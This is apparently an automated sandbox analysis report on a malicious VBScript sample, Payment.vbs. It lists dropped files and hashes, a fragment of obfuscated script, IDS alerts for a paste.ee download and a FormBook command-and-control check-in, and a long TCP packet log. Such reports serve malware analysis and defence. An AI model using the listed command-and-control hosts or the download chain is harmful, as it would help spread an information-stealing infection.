	SecuriteInfo.com.Win64.MalwareX-gen.19388.23445.exe	Get hash	malicious	Unknown	Browse	185.199.111.133 188.114.96.3

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263495816207192
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0a:9JZj5MiKNnNhoxuz
MD5:	C7C56D815D433C521B8D8241EFD40C55
SHA1:	382116178C8E61DD0FBC13026D5ABAE87D77DD5B
SHA-256:	7F7D5AD699DA7D55E3F877A6575EBD149C373DEECBE0922DE3690D2A52F98228
SHA-512:	B56DA8D79638244D442D00317F5DD5D13ED23052AE453E9354F99A26E8396FE059FE2A568A2F174F1748DE57D1B76443B4A5976A24BBF27D36B6F402F61AF591
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x10175119, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7556116033939048
Encrypted:	false
SSDEEP:	1536:FSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:FazaSvGJzYj2UlmOlOL
MD5:	ED512E1AA696D5F3F97993DD30A9E678
SHA1:	36E35A5115075F74BBE95FB5B9C48A496FEF8F68
SHA-256:	D833C7D0427C6B7CEB4328B4151CBEE8DF06FF6EF5C139F7C16791E7D9B55FB6
SHA-512:	65CDB926A0C1F780904578612BA3FAEFE22E49996D6C01043B4F7C1C26675687A0DC7C005499DF96876DA67D64539B9A2F5F353E4BD337EFD21079140B86536A
Malicious:	false
Preview:	..Q.... .......7.......X\...;...{......................0.e......!...{?..5...\|..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{...................................1.{.5...\|......................5...\|...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07944491815693144
Encrypted:	false
SSDEEP:	3:kUiyYeM8YwDNaAPaU1lO5mKwlluxmO+l/SNxOf:kMzfDNDPaU2wKQgmOH
MD5:	1F525778C02B4F96049C59B274EE3CFC
SHA1:	6E05C0322D3080F2217EBAE50189070AF7B151B9
SHA-256:	5652ED9C60EDAD61130458D642D87B1AF38D208F40A7559A8B6D966B04DD6CA3
SHA-512:	11A391F7815E5962A64C4BC3AF1924D0B3B4527BB73A74DE0920D7E36A283C53D14C6A4FD06FF653AF3C94586101FF7D0B59DF6C352701DE9B1DFBC823E766D7
Malicious:	false
Preview:	.<c......................................;...{...5...\|...!...{?..........!...{?..!...{?..g...!...{?......................5...\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\62v53-Zo

Download File

Process:	C:\Windows\SysWOW64\convert.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aftf20og.0ld.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fgk4fqwi.x4e.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ihmp413g.tpm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p0qqsuzb.sho.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qlxdkgty.khd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vn4cy3k0.ih1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Entropy (8bit):	3.7288328188534
TrID:	Text - UTF-16 (LE) encoded (2002/1) 64.44% MP3 audio (1001/1) 32.22% Lumena CEL bitmap (63/63) 2.03% Corel Photo Paint (41/41) 1.32%
File name:	Payment.vbs
File size:	195'846 bytes
MD5:	de0d7fea05e69a8cf4b7c6071735b141
SHA1:	cc1218cab6f6bccd985a32b443f47ffa2c7bb8b5
SHA256:	1ace0faeac611f4f52e524e7f6ebf4bfd7ca7d1c697427d0828b3368854d9c7c
SHA512:	800d620ae5a2d24989776bae1717311394d8974a6b9eb8c738af5cec8560a3e786026af68ce225529e1ac97aa7b2d62a1d9dd08811fecf781224457dd441eede
SSDEEP:	3072:UMp9VYqpl8/ie8EBoB2YOlTXwgt5pTGwhIvybnKab6uLs98KkVuPPcaa:J/YsC/itEBoB25lTdB2tqVgc/
TLSH:	9E142B0235EA7008F5F32F5296FA55B84F6BB969693D821D648C1E4E1BE3E80CD117B3
File Content Preview:	..p.r.i.v.a.t.e. .f.u.n.c.t.i.o.n. .c.e.l.l.u.l.a.r.(.c.e.r.r.a.d.o.,. .a.f.i.n.a.m.e.n.t.o.,. .f.a.r.f.a.l.h.a.n.t.e.,. .d.e.n.s.o.,. .c.a.t.h.e.t.e.r.)..... . . . .d.i.m. .f.i.l.t.e.r..... . . . .d.i.m. .d.i.a.l.e.c.t..... . . . .d.i.m. .e..... . . . .d

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-07T14:52:32.604028+0200	2841075	ETPRO MALWARE Terse Request to paste .ee - Possible Download	1	192.168.2.6	49842	188.114.96.3	443	TCP
2024-10-07T14:53:18.957774+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50000	199.59.243.227	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 14:52:28.973129034 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:28.973149061 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:28.973201990 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:28.982356071 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:28.982366085 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.427598953 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.427680016 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.429328918 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.429352999 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.429646969 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.436836958 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.483403921 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.530275106 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.546186924 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.546207905 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.546273947 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.546288013 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.546349049 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.614728928 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.614751101 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.614834070 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.614847898 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.614954948 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.616504908 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.616519928 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.616583109 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.616592884 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.616643906 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.697526932 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.697552919 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.697630882 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.697648048 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.697695017 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.698848009 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.698864937 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.698913097 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.698926926 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.698941946 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.698957920 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.700166941 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.700186014 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.700241089 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.700247049 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.700299025 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.700323105 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.701322079 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.701339960 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.701400995 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.701407909 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.701448917 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.701472044 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.794604063 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.794631004 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.794701099 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.794714928 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.794758081 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.794770002 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.794900894 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.794920921 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.794974089 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.794980049 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.795021057 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.795780897 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.795797110 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.795871019 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.795876980 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.795926094 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.796679974 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.796696901 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.796751976 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.796758890 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.796799898 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.796996117 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.797012091 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.797060013 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.797065020 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.797103882 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.876405954 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.876431942 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.876508951 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.876529932 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.876602888 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.876699924 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.876719952 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.876768112 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.876775026 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.876818895 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.877263069 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.877281904 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.877326965 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.877334118 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.877361059 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.877378941 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.877479076 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.877516985 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.877538919 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.877543926 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.877578974 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.878051996 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.878072977 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.878124952 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.878134012 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.878171921 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.878185987 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.878556967 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.878572941 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.878628969 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.878635883 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.878679037 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.881612062 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.881623983 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.881660938 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.881669044 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.881704092 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.881716013 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.882277012 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.882301092 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.882337093 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.882344007 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.882374048 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.882389069 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.890935898 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.919771910 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.919796944 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.919846058 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.919863939 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.919878960 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.919900894 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.959336042 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.959356070 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.959419012 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.959436893 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.959487915 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.959683895 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.959698915 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.959748983 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.959754944 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.959804058 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.959947109 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.959961891 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.960017920 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.960025072 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.960067034 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.960279942 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.960298061 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.960338116 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.960345030 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.960396051 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.960396051 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.960546970 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.960565090 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.960599899 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.960606098 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.960629940 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.960645914 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.961565971 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.961580038 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.961642027 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.961657047 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.961705923 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.962698936 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.962714911 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.962769032 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:29.962781906 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:29.962819099 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:30.041589975 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:30.041611910 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:30.041668892 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:30.041687965 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:30.041742086 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:30.041996002 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:30.042011976 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:30.042062998 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:30.042071104 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:30.042105913 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:30.042412043 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:30.042426109 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:30.042480946 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:30.042486906 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:30.042522907 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:30.042721987 CEST	443	49823	185.199.111.133	192.168.2.6
